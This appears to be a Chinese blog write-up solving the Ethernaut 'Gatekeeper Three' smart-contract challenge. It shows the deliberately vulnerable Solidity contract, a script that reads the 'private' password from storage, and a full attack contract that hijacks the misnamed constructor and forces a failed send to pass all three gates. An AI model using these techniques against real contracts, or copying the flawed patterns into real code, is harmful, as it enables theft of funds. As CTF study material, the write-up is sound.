抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Gatekeeper Three

1. 题目要求

  • 1.1 应对大门并成为进入者。

    可能有帮助的事情:
    • 调用低级函数的返回值。
    • 注意语义。
    • 刷新存储在以太坊中的工作方式
  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;

constructor (address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

modifier gateTwo() {
require(allowEntrance == true);
_;
}

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}

receive () external payable {}
}

2. 分析

解读GatekeeperThree合约

要成功注册,则需要成功调用enter函数,而成功调用的前提是,通过三个“守门员”。

  • gateOne():很简单,只要调用者不是EOA账户即可,写一个攻击合约即可。
  • gateTwo() :require(allowEntrance == true),要求成功调用getAllowance函数,这要求猜对SimpleTrick中的密码,智能合约是公开同名的,可以通过脚本来获取智能合约上私有变量的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
it("Execution", async function() {

let three_contract = await (await ethers.getContractFactory('GatekeeperThree', deployer)).deploy();

await three_contract.connect(player);
// await three_contract.createTrick();
// 0x0A49D6c8267b21A7cB670fD7544448B76Bfb822b
// console.log("trick = ", await three_contract.trick());

let slot2 = await ethers.provider.getStorage("0x0A49D6c8267b21A7cB670fD7544448B76Bfb822b", 2);
console.log(`slot2 = ${slot2}`);

});

image-20230818181716012

  • 可以借助脚本获取智能合约上的密码
  • gateThree():往合约中转入大于0.001ether的ETH,且在攻击合约中使得回调函数返回的值为false即可。

3. 解题

综上,可有攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract Hack {

GatekeeperThree three;
SimpleTrick trick;

constructor(address payable _three) {
three = GatekeeperThree(_three);
three.createTrick();
trick = three.trick();
}

function attck(uint password) public payable {
three.construct0r();
three.getAllowance(password);
payable(address(three)).transfer(0.0011 ether);
three.enter();
require(three.entrant() == msg.sender, "you are not entering");
}

receive() external payable {
if (msg.value == 0.001 ether) {
revert();
}
}
}

评论



政策 · 统计 | 本站使用 Volantis 主题设计